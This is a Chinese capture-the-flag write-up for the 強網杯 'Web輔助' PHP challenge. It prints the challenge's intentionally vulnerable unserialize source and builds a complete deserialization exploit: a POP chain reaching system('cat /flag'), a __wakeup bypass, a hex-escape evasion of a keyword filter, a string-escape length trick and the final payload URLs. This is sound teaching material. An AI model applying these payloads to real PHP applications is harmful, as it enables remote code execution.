1. 程式人生 > 實用技巧 >細說強網杯Web輔助

細說強網杯Web輔助

本文首發於“合天智匯”公眾號 作者:Ch3ng

這裡就藉由強網杯的一道題目“Web輔助”,來講講從構造POP鏈,字串逃逸到最後獲取flag的過程

題目原始碼

index.php

獲取我們傳入的username和password,並將其序列化儲存

...
if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player 
= new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; } ...

common.php

這裡面的read,write有與'\0\0', chr(0)."

".chr(0)相關的替換操作,還有一個check對我們的序列化的內容進行檢查,判斷是否存在關鍵字name,這裡也是我們需要繞過的一個地方

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);

    return $data;
}

function check($data)
{
    
if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ?>

play.php

在寫入序列化的內容之後,訪問play.php,如果我們的操作通過了check,然後經過了read的替換操作之後,便會進行反序列化操作

...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...

class.php

這裡存在著各種類,也是我們構造pop鏈的關鍵,我們的目的是為了觸發最後的cat /flag

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        $this->admin = 1;
        return $this->admin ;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }


    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

涉及考點

  • POP鏈的構造
  • __wakeup的繞過
  • 關鍵字“name”檢測繞過
  • 反序列化字串逃逸

題目出現的魔術方法

  • __construct:建構函式,具有建構函式的類會在每次建立新物件時先呼叫此方法
  • __destruct: 解構函式,解構函式會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行
  • wakeup:unserialize()會檢查是否存在一個 wakeup() 方法。如果存在,則會先呼叫
  • invoke:當嘗試以呼叫函式的方式呼叫一個物件時,invoke() 方法會被自動呼叫
  • __toString():用於一個類被當成字串時應怎樣迴應

POP鏈

POP鏈:如果我們需要觸發的關鍵程式碼在一個類的普通方法中,例如本題的system('cat /flag')在jungle類中的KS方法中,這個時候我們可以通過相同的函式名將類的屬性和敏感函式的屬性聯絡起來

POP鏈的構造

這裡涉及到三個類,topsolo、midsolo、jungle,其中觀察到topsolo類中的TP方法中,使用了$name(),如果我們將一個物件賦值給$name,這裡便是以呼叫函式的方式呼叫了一個物件,此時會觸發invoke方法,而invoke方法存在midsolo中,invoke()會觸發Gank方法,執行了stristr操作。

我們的最終目的是要觸發jungle類中的KS方法,從而cat /flag,而觸發KS方法得先觸發__toString方法,一般來說,在我們使用echo輸出物件時便會觸發,例如:

<?php
class test{
    function __toString(){
        echo "__toString()";
        return "";
    }
}
$a = new test();
echo $a;

//輸出:__toString()

在common.php中,我們並沒有看到有echo一個類的操作,但是有一個stristr($this->name, 'Yasuo')的操作,我們來看一下:

<?php
class test{
    function __toString(){
        echo "__toString()";
        return "";
    }
}
$a = new test();
stristr($a,'name');

//輸出__toString()

所以整個POP鏈已經構成了

topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')

即:

<?php

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }
}

class jungle{
    protected $name = "";

}
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
輸出:
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

在midsolo中wakeup需要繞過,老套路了,序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過wakeup的執行,這裡我將1改為2

O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

O:7:"topsolo":1:{s:7:"\000*\000name";O:7:"midsolo":2:{s:7:"\000*\000name";O:6:"jungle":1:{s:7:"\000*\000name";s:0:"";}}}

關鍵字“name”檢測繞過

···
function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
···

這裡使用十六進位制繞過\6e\61\6d\65,並將s改為S

O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

字串逃逸

訪問index.php,傳入數值,得到序列化內容

O:6:"player":3:{s:7:"\0*\0user";s:0:"";s:7:"\0*\0pass";s:126:"O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:0:"";}}}";s:8:"\0*\0admin";i:0;}

可以看到物件topsolo,midsolo被s:102,所包裹,我們要做的就是題目環境本身的替換字元操作從而達到物件topsolo,midsolo從引號的包裹中逃逸出來

···
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    var_dump($data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);

    return $data;
}
···

在反序列化操作前,有個read的替換操作,字元數量從5位變成3位,合理構造username的長度,經過了read的替換操作後,最後將";s:7:"\0\0pass";s:126吃掉,需要吃掉的長度為23,因為5->3,所以得為2的倍數,需要在password中再填充一個字元C,變成24位,所以我們一共需要構造12個\0\0來進行username填充,得到username

username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

在password中補上被吃掉的pass部分,構造password的提交內容

password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

最後提交

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C";s:7:"\0*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

然後訪問play.php即可得到flag

實驗推薦

PHP反序列化漏洞實驗

https://sourl.cn/NRvGJs

通過本次實驗,大家將會明白什麼是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和預防此類漏洞。